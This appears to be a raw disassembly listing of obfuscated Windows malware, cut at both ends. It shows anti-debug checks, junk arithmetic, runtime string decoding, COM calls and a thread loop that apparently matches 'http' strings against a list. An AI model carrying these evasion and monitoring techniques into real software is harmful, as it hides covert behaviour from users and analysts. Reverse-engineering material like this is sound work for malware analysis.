mov eax, [ebp+var_525F8]
push eax
mov edi, [eax]
call dword ptr [edi+5Ch]
mov ebx, eax
lea edi, [ebp+var_52667]
lea esi, byte_4413B3
xor ecx, ecx
inc ecx
rep movsb
or ebx, ebx
jnz loc_407F0E
lea eax, [ebp+var_52640]
push eax
mov eax, [ebp+var_52604]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
call sub_40C5A4 ; GetVersion
or ebx, ebx
jnz loc_407EF4
mov [ebp+var_52606], 281Eh
movzx eax, [ebp+var_52606]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_52606], ax
or [ebp+var_524CC], 0FFFFFFFFh
loc_4070DC: ; CODE XREF: sub_406E2B+B65j
and [ebp+var_5260C], 0
and [ebp+var_52614], 0
cmp [ebp+var_524CC], 0FFFFFFFFh
jnz short loc_407133
call sub_40C538 ; RtlGetLastWin32Error
lea eax, [ebp+var_525E4]
push eax
mov eax, [ebp+var_525F8]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
mov [ebp+var_52684], 638Dh
add [ebp+var_52684], 5FB7h
or ebx, ebx
jnz loc_407979
call sub_40C514 ; GetCurrentThreadId
jmp loc_40724E
; ---------------------------------------------------------------------------
loc_407133: ; CODE XREF: sub_406E2B+2C6j
lea edi, [ebp+var_52696]
lea esi, a9ebg ; "9EB#"
mov ecx, 3
rep movsw
mov [ebp+var_52690], 17h
mov eax, [ebp+var_524CC]
mov [ebp+var_52688], eax
lea eax, [ebp+var_526A8]
push eax
lea eax, [ebp+var_52690]
push eax
mov eax, [ebp+var_52604]
push eax
mov esi, [eax]
call dword ptr [esi+1Ch]
lea eax, [ebp+var_5260C]
push eax
push offset dword_446BD4
mov eax, [ebp+var_526A0]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
call sub_40C598 ; GetTickCount
or ebx, ebx
jnz loc_407979
call sub_40C508 ; GetCurrentProcessId
lea eax, [ebp+var_52614]
push eax
mov eax, [ebp+var_5260C]
push eax
mov edi, [eax]
call dword ptr [edi+0D0h]
mov ebx, eax
or ebx, ebx
jz short loc_4071E9
call sub_40C634 ; IsDebuggerPresent
mov eax, [ebp+var_5260C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
lea edi, [ebp+var_526AA]
lea esi, byte_4413BA
xor ecx, ecx
inc ecx
rep movsb
jmp loc_407979
; ---------------------------------------------------------------------------
loc_4071E9: ; CODE XREF: sub_406E2B+395j
lea eax, [ebp+var_525E4]
push eax
mov eax, [ebp+var_52614]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
lea edi, [ebp+var_526A9]
lea esi, byte_4413BB
xor ecx, ecx
inc ecx
rep movsb
or ebx, ebx
jz short loc_40724E
lea edi, [ebp+var_526B8]
lea esi, a854 ; "^85/4=|"
movsd
movsd
mov eax, [ebp+var_52614]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov [ebp+var_526B0], 97Dh
inc [ebp+var_526B0]
mov eax, [ebp+var_5260C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
jmp loc_407979
; ---------------------------------------------------------------------------
loc_40724E: ; CODE XREF: sub_406E2B+303j
; sub_406E2B+3E6j
lea eax, [ebp+var_525EC]
push eax
mov eax, [ebp+var_525E4]
push eax
mov edi, [eax]
call dword ptr [edi+24h]
mov ebx, eax
or ebx, ebx
jnz loc_407E8E
and [ebp+var_21784], 0
jmp loc_407967
; ---------------------------------------------------------------------------
loc_407277: ; CODE XREF: sub_406E2B+B48j
mov [ebp+var_627C0], 0B8h
add [ebp+var_627C0], 1
push 0
call sub_40C9B8
pop ecx
call sub_40C5A4 ; GetVersion
mov [ebp+var_626B8], 2
mov eax, [ebp+var_21784]
mov [ebp+var_626B0], eax
lea eax, [ebp+var_626A4]
push eax
lea esi, [ebp+var_626B8]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_626B8]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_525E4]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
mov ax, word_4413C4
mov [ebp+var_627CC], ax
or ebx, ebx
jnz loc_407961
call sub_40C508 ; GetCurrentProcessId
and [ebp+var_626BC], 0
lea eax, [ebp+var_626BC]
push eax
push offset dword_446BB4
mov eax, [ebp+var_626A4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
call sub_40C634 ; IsDebuggerPresent
or ebx, ebx
jnz loc_407683
call sub_40C634 ; IsDebuggerPresent
lea eax, [ebp+var_626C0]
push eax
mov eax, [ebp+var_626BC]
push eax
mov edi, [eax]
call dword ptr [edi+0F0h]
mov ebx, eax
mov [ebp+var_627C2], 7A7Ch
movzx eax, [ebp+var_627C2]
imul eax, 2CBEh
mov [ebp+var_627C2], ax
or ebx, ebx
jnz loc_407683
call sub_40C634 ; IsDebuggerPresent
lea eax, [ebp+var_62687]
push eax
push [ebp+var_626C0]
call sub_40692E
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_6269C], edi
lea edi, [ebp+var_627D3]
lea esi, aWUn@ ; " w*UN@"
mov ecx, 7
rep movsb
and [ebp+var_52684], 0
jmp short loc_4073D6
; ---------------------------------------------------------------------------
loc_4073AD: ; CODE XREF: sub_406E2B+5B7j
mov eax, [ebp+var_52684]
mov al, [ebp+eax+var_62687]
cmp al, 0Dh
jz short loc_4073C2
cmp al, 0Ah
jnz short loc_4073D0
loc_4073C2: ; CODE XREF: sub_406E2B+591j
mov eax, [ebp+var_52684]
mov [ebp+eax+var_62687], 0
loc_4073D0: ; CODE XREF: sub_406E2B+595j
inc [ebp+var_52684]
loc_4073D6: ; CODE XREF: sub_406E2B+580j
mov eax, [ebp+var_6269C]
cmp [ebp+var_52684], eax
jb short loc_4073AD
cmp [ebp+var_524CC], 0FFFFFFFFh
jnz short loc_407441
mov [ebp+var_627E0], 1CC7h
movzx eax, [ebp+var_627E0]
imul eax, 5DEDh
mov [ebp+var_627E0], ax
push 11h
push offset aAmdgKLvA ; "Ń ¬¤£½ŖĄ«¢æ ²ČµÓĶ"
call sub_406D88
push [ebp+var_21784]
push eax
lea edi, [ebp+var_627BF]
push edi
call sub_40CA30
lea eax, [ebp+var_627BF]
push eax
lea eax, [ebp+var_10001]
push eax
call sub_40CA54
add esp, 1Ch
jmp short loc_4074AB
; ---------------------------------------------------------------------------
loc_407441: ; CODE XREF: sub_406E2B+5C0j
mov ax, word_4413CD
mov word ptr [ebp+var_627E4], ax
push 13h
push offset aLMaiLvA ; "Ń«æ¬ Ø²ČµĄ«¢æ ²ČµÓĶ"
call sub_406D88
push [ebp+var_21784]
push [ebp+var_524CC]
push eax
lea edi, [ebp+var_627BF]
push edi
call sub_40CA30
mov [ebp+var_627E0], 4C50h
add [ebp+var_627E0], 6D23h
lea eax, [ebp+var_627BF]
push eax
lea eax, [ebp+var_10001]
push eax
call sub_40CA54
add esp, 20h
mov word ptr [ebp+var_627E4+2], 322Ah
inc word ptr [ebp+var_627E4+2]
loc_4074AB: ; CODE XREF: sub_406E2B+614j
and [ebp+var_52684], 0
loc_4074B2: ; CODE XREF: sub_406E2B+76Bj
mov eax, [ebp+var_52684]
lea ecx, [ebp+eax+var_62687]
or eax, 0FFFFFFFFh
loc_4074C2: ; CODE XREF: sub_406E2B+69Cj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4074C2
mov [ebp+var_62690], eax
mov [ebp+var_627C3], 84h
add [ebp+var_627C3], 1
mov eax, [ebp+var_62690]
cmp eax, 0
jz short loc_4074EF
cmp eax, 0C8h
jbe short loc_4074F4
loc_4074EF: ; CODE XREF: sub_406E2B+6BBj
jmp loc_40757D
; ---------------------------------------------------------------------------
loc_4074F4: ; CODE XREF: sub_406E2B+6C2j
lea edi, [ebp+var_627DA]
lea esi, aGAkux ; ";AKuX"
mov ecx, 7
rep movsb
cmp [ebp+var_62690], 1
jnz short loc_407520
mov eax, [ebp+var_52684]
cmp [ebp+eax+var_62687], 20h
jz short loc_40757D
loc_407520: ; CODE XREF: sub_406E2B+6E3j
call sub_40C598 ; GetTickCount
push 1
push offset aS_0 ; ""
call sub_406D88
push eax
lea edi, [ebp+var_10001]
push edi
call sub_40CA54
mov [ebp+var_627C4], 0A6h
add [ebp+var_627C4], 0B3h
mov eax, [ebp+var_52684]
lea eax, [ebp+eax+var_62687]
push eax
lea eax, [ebp+var_10001]
push eax
call sub_40CA54
add esp, 18h
mov [ebp+var_627C8], 61DCh
sub [ebp+var_627C8], 2883h
loc_40757D: ; CODE XREF: sub_406E2B:loc_4074EFj
; sub_406E2B+6F3j
mov eax, [ebp+var_62690]
inc eax
add [ebp+var_52684], eax
mov eax, [ebp+var_6269C]
cmp [ebp+var_52684], eax
jb loc_4074B2
and [ebp+var_62698], 0
lea ecx, [ebp+var_10001]
or eax, 0FFFFFFFFh
loc_4075AC: ; CODE XREF: sub_406E2B+786j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4075AC
mov [ebp+var_62690], eax
call sub_40C634 ; IsDebuggerPresent
mov [ebp+var_52684], 0
jmp loc_407663
; ---------------------------------------------------------------------------
loc_4075CD: ; CODE XREF: sub_406E2B+844j
lea edi, [ebp+var_627E4+1]
lea esi, aEW ; " E~^W"
mov ecx, 3
rep movsw
mov eax, [ebp+var_52684]
cmp [ebp+eax+var_10001], 20h
jz short loc_4075F8
and [ebp+var_6268C], 0
loc_4075F8: ; CODE XREF: sub_406E2B+7C4j
call sub_40C508 ; GetCurrentProcessId
cmp [ebp+var_6268C], 0
jnz short loc_407630
call sub_40C5A4 ; GetVersion
mov eax, [ebp+var_62698]
mov edx, [ebp+var_52684]
mov dl, [ebp+edx+var_10001]
mov [ebp+eax+var_10001], dl
call sub_40C508 ; GetCurrentProcessId
inc [ebp+var_62698]
loc_407630: ; CODE XREF: sub_406E2B+7D9j
mov eax, [ebp+var_52684]
cmp [ebp+eax+var_10001], 20h
jnz short loc_40764A
mov [ebp+var_6268C], 1
loc_40764A: ; CODE XREF: sub_406E2B+813j
lea edi, [ebp+var_627E8]
lea esi, aUD ; "u;D "
mov ecx, 5
rep movsb
inc [ebp+var_52684]
loc_407663: ; CODE XREF: sub_406E2B+79Dj
mov eax, [ebp+var_62690]
cmp [ebp+var_52684], eax
jb loc_4075CD
mov eax, [ebp+var_62698]
mov [ebp+eax+var_10001], 0
loc_407683: ; CODE XREF: sub_406E2B+4FBj
; sub_406E2B+53Dj
and [ebp+var_62694], 0
lea eax, [ebp+var_62694]
push eax
push offset dword_446BC4
mov eax, [ebp+var_626A4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
or ebx, ebx
jnz loc_407947
call sub_40C598 ; GetTickCount
lea eax, [ebp+var_626A0]
push eax
mov eax, [ebp+var_62694]
push eax
mov edi, [eax]
call dword ptr [edi+6Ch]
mov ebx, eax
call sub_40C508 ; GetCurrentProcessId
or ebx, ebx
jnz loc_40792D
lea edi, [ebp+var_627DD]
lea esi, asc_4413E1 ; "=="
mov ecx, 3
rep movsb
and [ebp+var_52688], 0
jmp loc_407909
; ---------------------------------------------------------------------------
loc_4076F6: ; CODE XREF: sub_406E2B+AEAj
call sub_40C514 ; GetCurrentThreadId
push 0
call sub_40C9B8
pop ecx
call sub_40C5A4 ; GetVersion
mov [ebp+var_627F8], 2
mov eax, [ebp+var_52688]
mov [ebp+var_627F0], eax
lea eax, [ebp+var_627E8]
push eax
lea esi, [ebp+var_627F8]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_627F8]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_62694]
push edi
mov edi, [edi]
call dword ptr [edi+74h]
mov ebx, eax
or ebx, ebx
jnz loc_407903
mov [ebp+var_6280D], 0Fh
add [ebp+var_6280D], 1
and [ebp+var_627E4], 0
lea eax, [ebp+var_627E4]
push eax
push offset dword_446BB4
mov eax, [ebp+var_627E8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
or ebx, ebx
jnz loc_4078C6
lea edi, [ebp+var_62813]
lea esi, aT6rr ; "T6Rr"
mov ecx, 5
rep movsb
cmp [ebp+var_627E4], 0
jz loc_4078C6
mov [ebp+var_6280E], 85h
add [ebp+var_6280E], 1
lea eax, [ebp+var_62808]
push eax
push 0
push [ebp+var_10FA8]
mov eax, [ebp+var_627E4]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
mov eax, dword_4413E9
mov [ebp+var_62818+1], eax
or ebx, ebx
jnz loc_4078C6
call sub_40C514 ; GetCurrentThreadId
cmp [ebp+var_62808], 8
jnz loc_4078C6
call sub_40C514 ; GetCurrentThreadId
movzx edi, [ebp+var_2]
mov esi, [ebp+var_627E4]
mov [ebp+edi*4+var_10FA4], esi
movzx edi, [ebp+var_2]
mov esi, [ebp+var_52688]
mov [ebp+edi*2+var_1177C], si
lea eax, [ebp+var_62808]
push eax
push 0
push [ebp+var_10FAC]
mov eax, [ebp+var_627E4]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
or ebx, ebx
jnz short loc_4078C2
call sub_40C538 ; RtlGetLastWin32Error
lea edi, [ebp+var_63822]
lea esi, aFA ; ",F`>a"
mov ecx, 3
rep movsw
call sub_40C598 ; GetTickCount
lea eax, [ebp+var_63816]
push eax
push [ebp+var_62800]
call sub_40692E
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_6381C], edi
call sub_40C538 ; RtlGetLastWin32Error
cmp [ebp+var_63816], 0
jz short loc_4078BD
cmp edi, 64h
jnb short loc_4078BD
lea eax, [ebp+var_63816]
push eax
movzx eax, [ebp+var_2]
imul eax, 64h
lea eax, [ebp+eax+var_39E28]
push eax
call sub_40C4B8
loc_4078BD: ; CODE XREF: sub_406E2B+A70j
; sub_406E2B+A75j
call sub_40C634 ; IsDebuggerPresent
loc_4078C2: ; CODE XREF: sub_406E2B+A26j
inc [ebp+var_2]
loc_4078C6: ; CODE XREF: sub_406E2B+968j
; sub_406E2B+988j ...
cmp [ebp+var_627E4], 0
jz short $+2
call sub_40C514 ; GetCurrentThreadId
cmp [ebp+var_627E8], 0
jz short loc_4078E9
mov eax, [ebp+var_627E8]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4078E9: ; CODE XREF: sub_406E2B+AB0j
mov [ebp+var_6280C], 6832h
mov eax, [ebp+var_6280C]
mov edx, eax
add edx, eax
mov [ebp+var_6280C], edx
loc_407903: ; CODE XREF: sub_406E2B+92Dj
inc [ebp+var_52688]
loc_407909: ; CODE XREF: sub_406E2B+8C6j
mov eax, [ebp+var_626A0]
cmp [ebp+var_52688], eax
jb loc_4076F6
jmp short loc_407961
; ---------------------------------------------------------------------------
mov [ebp+var_627CA], 3C6Eh
inc [ebp+var_627CA]
loc_40792D: ; CODE XREF: sub_406E2B+8A6j
cmp [ebp+var_62694], 0
jz short loc_407942
mov eax, [ebp+var_62694]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_407942: ; CODE XREF: sub_406E2B+B09j
call sub_40C634 ; IsDebuggerPresent
loc_407947: ; CODE XREF: sub_406E2B+87Fj
cmp [ebp+var_626A4], 0
jz short loc_40795C
mov eax, [ebp+var_626A4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_40795C: ; CODE XREF: sub_406E2B+B23j
call sub_40C514 ; GetCurrentThreadId
loc_407961: ; CODE XREF: sub_406E2B+4C4j
; sub_406E2B+AF0j
inc [ebp+var_21784]
loc_407967: ; CODE XREF: sub_406E2B+447j
mov eax, [ebp+var_525EC]
cmp [ebp+var_21784], eax
jb loc_407277
loc_407979: ; CODE XREF: sub_406E2B+2F8j
; sub_406E2B+370j ...
call sub_40C508 ; GetCurrentProcessId
inc [ebp+var_524CC]
mov eax, [ebp+var_52640]
cmp [ebp+var_524CC], eax
jl loc_4070DC
lea edi, [ebp+var_52668]
lea esi, byte_4413F3
xor ecx, ecx
inc ecx
rep movsb
loc_4079A7: ; CODE XREF: sub_406E2B+CB6j
push 0
call sub_40C9B8
pop ecx
call sub_40C5A4 ; GetVersion
mov [ebp+var_21786], 0
jmp loc_407A91
; ---------------------------------------------------------------------------
loc_4079C2: ; CODE XREF: sub_406E2B+C73j
call sub_40C538 ; RtlGetLastWin32Error
lea eax, [ebp+var_524E0]
push eax
push 0
push [ebp+var_10FA8]
movzx edi, [ebp+var_21786]
mov edi, [ebp+edi*4+var_10FA4]
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov ebx, eax
lea edi, [ebp+var_62690+1]
lea esi, aBmiJ ; "MI ~j"
mov ecx, 7
rep movsb
or ebx, ebx
jnz loc_407A8A
lea edi, [ebp+var_62698+2]
lea esi, aVsbag0 ; "SAg0"
mov ecx, 7
rep movsb
lea eax, [ebp+var_6267F]
push eax
push [ebp+var_524D8]
call sub_40692E
add esp, 8
mov edi, eax
inc edi
mov [ebp-62688h], edi
call sub_40C574 ; GetProcessHeap
cmp [ebp+var_6267F], 0
jz short loc_407A8A
mov [ebp+var_62682], 4C04h
movzx eax, [ebp+var_62682]
imul eax, 0D94h
mov [ebp+var_62682], ax
cmp dword ptr [ebp-62688h], 64h
jnb short loc_407A8A
lea eax, [ebp+var_6267F]
push eax
movzx eax, [ebp+var_21786]
imul eax, 64h
lea eax, [ebp+eax+var_524C8]
push eax
call sub_40C4B8
loc_407A8A: ; CODE XREF: sub_406E2B+BD6j
; sub_406E2B+C19j ...
inc [ebp+var_21786]
loc_407A91: ; CODE XREF: sub_406E2B+B92j
movzx eax, [ebp+var_21786]
movzx edx, [ebp+var_2]
cmp eax, edx
jl loc_4079C2
lea eax, [ebp+var_525FE]
push eax
mov eax, dword_441354
push eax
mov edi, [eax]
call dword ptr [edi+7Ch]
mov ebx, eax
mov [ebp+var_52628], 0AD1h
add [ebp+var_52628], 0D59h
or ebx, ebx
jnz loc_407F0E
call sub_40C574 ; GetProcessHeap
cmp [ebp+var_525FE], 0
jz loc_4079A7
lea edi, [ebp+var_52669]
lea esi, byte_441402
xor ecx, ecx
inc ecx
rep movsb
mov [ebp+var_2177D], 0
push offset byte_41EB90
lea eax, [ebp+var_2177D]
push eax
call sub_40C4B8
mov [ebp+var_5260E], 164Dh
movzx eax, [ebp+var_5260E]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_5260E], ax
mov [ebp+var_525E8], 1
mov [ebp+var_1177E], 0
jmp loc_407C46
; ---------------------------------------------------------------------------
loc_407B45: ; CODE XREF: sub_406E2B+E28j
mov word ptr [ebp+var_52684+2], 712h
movzx eax, word ptr [ebp+var_52684+2]
imul eax, 568Ah
mov word ptr [ebp+var_52684+2], ax
movzx eax, [ebp+var_1177E]
imul eax, 64h
cmp [ebp+eax+var_524C8], 0
jz loc_407C3F
mov ax, word_441403
mov word ptr [ebp+var_52688+2], ax
and [ebp+var_525E8], 0
push 4
push offset asc_445FAA ; "Ķȵ×"
call sub_406D88
movzx edi, [ebp+var_1177E]
push edi
push eax
lea edi, [ebp+var_525DF]
push edi
call sub_40CA30
mov eax, dword_441405
mov [ebp-5268Ah], eax
lea eax, [ebp+var_525DF]
push eax
lea eax, [ebp+var_2177D]
push eax
call sub_40CA54
mov word ptr [ebp+var_52684], 0F32h
inc word ptr [ebp+var_52684]
movzx eax, [ebp+var_1177E]
imul eax, 64h
lea eax, [ebp+eax+var_39E28]
push eax
lea eax, [ebp+var_2177D]
push eax
call sub_40CA54
call sub_40C598 ; GetTickCount
push 1
push offset asc_445FA8 ; "×"
call sub_406D88
push eax
lea edi, [ebp+var_2177D]
push edi
call sub_40CA54
movzx eax, [ebp+var_1177E]
imul eax, 64h
lea eax, [ebp+eax+var_524C8]
push eax
lea eax, [ebp+var_2177D]
push eax
call sub_40CA54
add esp, 3Ch
call sub_40C538 ; RtlGetLastWin32Error
loc_407C3F: ; CODE XREF: sub_406E2B+D49j
inc [ebp+var_1177E]
loc_407C46: ; CODE XREF: sub_406E2B+D15j
movzx eax, [ebp+var_1177E]
movzx edx, [ebp+var_2]
cmp eax, edx
jl loc_407B45
cmp [ebp+var_525E8], 0
jnz loc_407E8E
call sub_40C634 ; IsDebuggerPresent
push 1
push offset asc_445FA6 ; "Ķ"
call sub_406D88
push eax
lea edi, [ebp+var_2177D]
push edi
call sub_40CA54
call sub_40C634 ; IsDebuggerPresent
lea eax, [ebp+var_10001]
push eax
lea eax, [ebp+var_2177D]
push eax
call sub_40CA54
add esp, 18h
cmp ds:byte_41EB90, 68h
jnz short loc_407CC3
cmp ds:byte_41EB91, 74h
jnz short loc_407CC3
cmp ds:byte_41EB92, 74h
jnz short loc_407CC3
cmp ds:byte_41EB93, 70h
jz short loc_407CC8
loc_407CC3: ; CODE XREF: sub_406E2B+E7Bj
; sub_406E2B+E84j ...
jmp loc_407E43
; ---------------------------------------------------------------------------
loc_407CC8: ; CODE XREF: sub_406E2B+E96j
lea edi, [ebp+var_5266F]
lea esi, aSHt ; "S ht|"
mov ecx, 3
rep movsw
push 8
push offset aKvvkbi ; "ĆĆ"
call sub_406D88
mov edi, 11h
sub edi, dword_441380
push edi
push eax
push offset byte_41EB90
call sub_401806
add esp, 14h
cmp eax, 0FFFFh
jz short loc_407D3A
push 0Eh
push offset aKvvkbiMiMqi ; "ĆĆ"
call sub_406D88
mov edi, 11h
sub edi, dword_441380
push edi
push eax
push offset byte_41EB90
call sub_401806
add esp, 14h
cmp eax, 0FFFFh
jz loc_407E43
loc_407D3A: ; CODE XREF: sub_406E2B+EDCj
mov [ebp+var_5262A], 0E36h
movzx eax, [ebp+var_5262A]
imul eax, 5F1Ah
mov [ebp+var_5262A], ax
mov [ebp+var_525EE], 0
loc_407D60: ; CODE XREF: sub_406E2B+FE4j
mov eax, 11h
sub eax, dword_441380
push eax
movzx eax, [ebp+var_525EE]
lea eax, ds:44138Ch[eax]
push eax
push offset byte_41EB90
call sub_401806
add esp, 0Ch
cmp eax, 0FFFFh
jz short loc_407DBC
call sub_40C574 ; GetProcessHeap
push 1
lea eax, [ebp+var_2177D]
push eax
call ds:dword_40F270
mov [ebp+var_52684], 5D23h
sub [ebp+var_52684], 3A68h
jmp loc_407E43
; ---------------------------------------------------------------------------
loc_407DBC: ; CODE XREF: sub_406E2B+F62j
movzx eax, [ebp+var_525EE]
mov [ebp+var_52684], eax
lea ecx, ds:44138Ch[eax]
or eax, 0FFFFFFFFh
loc_407DD3: ; CODE XREF: sub_406E2B+FADj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_407DD3
mov esi, [ebp+var_52684]
add esi, eax
mov edi, esi
mov [ebp+var_525EE], di
mov [ebp+var_5262B], 0EFh
add [ebp+var_5262B], 52h
inc [ebp+var_525EE]
movzx eax, [ebp+var_525EE]
cmp byte_44138C[eax], 0
jnz loc_407D60
call sub_40C5A4 ; GetVersion
push 0
lea eax, [ebp+var_2177D]
push eax
call ds:dword_40F270
mov [ebp+var_5260F], 20h
movzx eax, [ebp+var_5260F]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_5260F], al
loc_407E43: ; CODE XREF: sub_406E2B:loc_407CC3j
; sub_406E2B+F09j ...
mov [ebp+var_21788], 0
jmp short loc_407E7A
; ---------------------------------------------------------------------------
loc_407E4E: ; CODE XREF: sub_406E2B+105Cj
movzx edi, [ebp+var_21788]
cmp [ebp+edi*4+var_10FA4], 0
jz short loc_407E73
movzx edi, [ebp+var_21788]
mov edi, [ebp+edi*4+var_10FA4]
push edi
mov edi, [edi]
call dword ptr [edi+8]
loc_407E73: ; CODE XREF: sub_406E2B+1032j
inc [ebp+var_21788]
loc_407E7A: ; CODE XREF: sub_406E2B+1021j
movzx eax, [ebp+var_21788]
movzx edx, [ebp+var_2]
cmp eax, edx
jl short loc_407E4E
call sub_40C574 ; GetProcessHeap
loc_407E8E: ; CODE XREF: sub_406E2B+43Aj
; sub_406E2B+E35j
cmp [ebp+var_525E4], 0
jz short loc_407EA3
mov eax, [ebp+var_525E4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_407EA3: ; CODE XREF: sub_406E2B+106Aj
lea edi, [ebp+var_52674]
lea esi, aWG ; "W ^"
mov ecx, 5
rep movsb
cmp [ebp+var_52614], 0
jz short loc_407ECB
mov eax, [ebp+var_52614]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_407ECB: ; CODE XREF: sub_406E2B+1092j
lea edi, [ebp+var_5267A]
lea esi, aDXN ; "d:x`n"
mov ecx, 3
rep movsw
cmp [ebp+var_5260C], 0
jz short loc_407EF4
mov eax, [ebp+var_5260C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_407EF4: ; CODE XREF: sub_406E2B+287j
; sub_406E2B+10BBj
cmp [ebp+var_52604], 0
jz short loc_407F09
mov eax, [ebp+var_52604]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_407F09: ; CODE XREF: sub_406E2B+10D0j
call sub_40C538 ; RtlGetLastWin32Error
loc_407F0E: ; CODE XREF: sub_406E2B+176j
; sub_406E2B+1DBj ...
cmp [ebp+var_525F8], 0
jz short loc_407F23
mov eax, [ebp+var_525F8]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_407F23: ; CODE XREF: sub_406E2B+10EAj
mov [ebp+var_52630], 52EFh
mov eax, 3A5Eh
mul [ebp+var_52630]
mov [ebp+var_52688], eax
mov [ebp+var_52630], eax
loc_407F44: ; CODE XREF: sub_406E2B+155j
cmp [ebp+var_525F4], 0
jz loc_406E95
mov eax, [ebp+var_525F4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
jmp loc_406E95
; ---------------------------------------------------------------------------
loc_407F62: ; CODE XREF: sub_406E2B+5Fj
pop edi
pop esi
pop ebx
leave
retn
sub_406E2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407F67 proc near ; DATA XREF: sub_40801C+2Fo
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset word_44141A
push offset sub_40109A
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_18], esp
call sub_40C5A4 ; GetVersion
mov [ebp+var_4], 0
call sub_40C538 ; RtlGetLastWin32Error
loc_407F9E: ; CODE XREF: sub_407F67+7Aj
; sub_407F67+9Aj
call sub_40C634 ; IsDebuggerPresent
mov edi, dword_44137C
add edi, 1F3h
push edi
call sub_40C9B8
add esp, 4
call sub_40C5A4 ; GetVersion
call sub_406E2B
mov [ebp+var_1C], 6E5Bh
mov eax, 6540h
mul [ebp+var_1C]
mov [ebp+var_20], eax
mov edi, [ebp+var_20]
mov [ebp+var_1C], edi
cmp dword_441388, 0
jnz short loc_407F9E
jmp short loc_40800A
; ---------------------------------------------------------------------------
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_40800A
; ---------------------------------------------------------------------------
mov [ebp+var_1C], 1
mov eax, [ebp+var_1C]
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
call sub_40C5A4 ; GetVersion
jmp short loc_407F9E
; ---------------------------------------------------------------------------
mov [ebp+var_4], 0FFFFFFFFh
loc_40800A: ; CODE XREF: sub_407F67+7Cj
; sub_407F67+85j
pop edi
pop esi
pop ebx
xchg eax, ecx
mov eax, [ebp+var_10]
mov large fs:0, eax
xchg eax, ecx
leave
retn 4
sub_407F67 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40801C proc near ; CODE XREF: sub_40A766+7F2p
var_9 = byte ptr -9
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
lea edi, [ebp+var_9]
lea esi, aB2U ; "2 U "
mov ecx, 7
rep movsb
mov eax, [ebp+arg_0]
mov ds:dword_40F270, eax
call sub_40C598 ; GetTickCount
push offset dword_441388
push 0
push 0
push offset sub_407F67
push 0
push 0
call sub_40C754 ; CreateThread
mov ebx, eax
mov [ebp+var_1], 0EEh
movzx eax, [ebp+var_1]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_1], al
push ebx
call sub_40C55C ; CloseHandle
mov [ebp+var_2], 5
sub [ebp+var_2], 0F2h
pop edi
pop esi
pop ebx
leave
retn
sub_40801C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push edi
mov edi, 5B3h
inc edi
cmp dword_441354, 0
jnz short loc_408097
xor eax, eax
jmp short loc_4080DD
; ---------------------------------------------------------------------------
loc_408097: ; CODE XREF: .text:00408091j
mov byte ptr [ebp-1], 16h
add byte ptr [ebp-1], 1
mov eax, ds:dword_42EB94
cmp [ebp+8], eax
jz short loc_4080AD
xor eax, eax
jmp short loc_4080DD
; ---------------------------------------------------------------------------
loc_4080AD: ; CODE XREF: .text:004080A7j
call sub_40C574 ; GetProcessHeap
lea ecx, byte_41EB90
or eax, 0FFFFFFFFh
loc_4080BB: ; CODE XREF: .text:004080C0j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4080BB
mov edi, eax
add edi, 1
push edi
push offset byte_41EB90
push dword ptr [ebp+0Ch]
call sub_40C9F4
add esp, 0Ch
mov eax, 1
loc_4080DD: ; CODE XREF: .text:00408095j
; .text:004080ABj
pop edi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4080E0 proc near ; CODE XREF: sub_408189+21Fp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
